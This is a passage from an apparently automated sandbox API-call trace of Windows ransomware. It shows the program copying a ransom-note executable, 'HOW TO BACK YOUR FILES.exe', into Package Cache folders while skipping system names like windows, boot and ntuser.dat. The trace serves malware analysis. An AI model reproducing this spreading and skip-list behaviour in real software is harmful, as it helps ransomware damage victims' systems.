(normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.626] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0098.626] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0098.626] ReleaseMutex (hMutex=0xec) returned 1 [0098.626] CloseHandle (hObject=0xec) returned 1 [0098.626] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0098.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5223a8 | out: hHeap=0x4f0000) returned 1 [0098.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ace0 | out: hHeap=0x4f0000) returned 1 [0098.626] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 78 [0098.626] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\145622A4262A6D0AB56BDF3427AD84B9") returned 0xec [0098.626] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.626] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0098.626] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.627] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.627] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.627] GetLastError () returned 0x0 [0098.627] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53eff8 [0098.627] ReadFile (in: hFile=0xf4, lpBuffer=0x53eff8, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53eff8*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.628] CloseHandle (hObject=0xf4) returned 1 [0098.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53eff8 | out: hHeap=0x4f0000) returned 1 [0098.628] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.628] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.628] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.629] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.629] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.629] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.629] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.629] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.629] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.629] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.629] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc8320, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.629] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.629] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0098.629] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.629] lstrcmpiW (lpString1="packages", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.629] lstrcmpiW (lpString1="packages", lpString2=".") returned 1 [0098.629] lstrcmpiW (lpString1="packages", lpString2="..") returned 1 [0098.629] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1 [0098.629] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1 [0098.629] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1 [0098.629] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1 [0098.629] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1 [0098.629] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1 [0098.629] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1 [0098.629] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1 [0098.629] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1 [0098.629] lstrlenW (lpString="packages") returned 8 [0098.629] lstrcpyW (in: lpString1=0x241e8e6, lpString2="packages" | out: lpString1="packages") returned="packages" [0098.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ace0 [0098.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb0) returned 0x53eff8 [0098.629] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0098.630] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0098.630] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.632] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0098.632] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0098.632] ReleaseMutex (hMutex=0xec) returned 1 [0098.632] CloseHandle (hObject=0xec) returned 1 [0098.632] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0098.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x522450 | out: hHeap=0x4f0000) returned 1 [0098.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50acf8 | out: hHeap=0x4f0000) returned 1 [0098.632] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 78 [0098.632] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\2B20D6725243D1AB9C4C995422013B6F") returned 0xec [0098.632] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.632] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0098.632] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.632] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.633] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.633] GetLastError () returned 0x0 [0098.633] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f0b0 [0098.633] ReadFile (in: hFile=0xf4, lpBuffer=0x53f0b0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f0b0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.634] CloseHandle (hObject=0xf4) returned 1 [0098.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f0b0 | out: hHeap=0x4f0000) returned 1 [0098.634] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.634] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.634] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.634] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.634] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.634] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.635] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.635] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.635] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.635] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.635] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc8320, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.635] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.635] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0098.635] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.635] lstrcmpiW (lpString1="packages", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.635] lstrcmpiW (lpString1="packages", lpString2=".") returned 1 [0098.635] lstrcmpiW (lpString1="packages", lpString2="..") returned 1 [0098.635] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1 [0098.635] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1 [0098.635] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1 [0098.635] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1 [0098.635] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1 [0098.635] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1 [0098.635] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1 [0098.635] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1 [0098.635] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1 [0098.635] lstrlenW (lpString="packages") returned 8 [0098.635] lstrcpyW (in: lpString1=0x241e8e6, lpString2="packages" | out: lpString1="packages") returned="packages" [0098.635] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50acf8 [0098.635] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb0) returned 0x53f0b0 [0098.635] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0098.635] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0098.635] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.638] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0098.639] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0098.639] ReleaseMutex (hMutex=0xec) returned 1 [0098.639] CloseHandle (hObject=0xec) returned 1 [0098.639] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0098.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5224f8 | out: hHeap=0x4f0000) returned 1 [0098.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ad10 | out: hHeap=0x4f0000) returned 1 [0098.639] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 78 [0098.639] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\665EBF38E9FA80A94F3C50764F579C34") returned 0xec [0098.639] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.639] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0098.639] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.639] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.640] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.640] GetLastError () returned 0x0 [0098.640] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f168 [0098.640] ReadFile (in: hFile=0xf4, lpBuffer=0x53f168, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f168*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.641] CloseHandle (hObject=0xf4) returned 1 [0098.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f168 | out: hHeap=0x4f0000) returned 1 [0098.641] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.641] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.641] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.641] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.641] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.641] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.641] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.641] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.641] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.641] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.641] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bee480, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.641] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.641] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0098.641] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.641] lstrcmpiW (lpString1="packages", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.642] lstrcmpiW (lpString1="packages", lpString2=".") returned 1 [0098.642] lstrcmpiW (lpString1="packages", lpString2="..") returned 1 [0098.642] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1 [0098.642] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1 [0098.642] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1 [0098.642] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1 [0098.642] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1 [0098.642] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1 [0098.642] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1 [0098.642] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1 [0098.642] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1 [0098.642] lstrlenW (lpString="packages") returned 8 [0098.642] lstrcpyW (in: lpString1=0x241e8e6, lpString2="packages" | out: lpString1="packages") returned="packages" [0098.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ad10 [0098.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb0) returned 0x53f168 [0098.642] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0098.642] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0098.642] CopyFileW 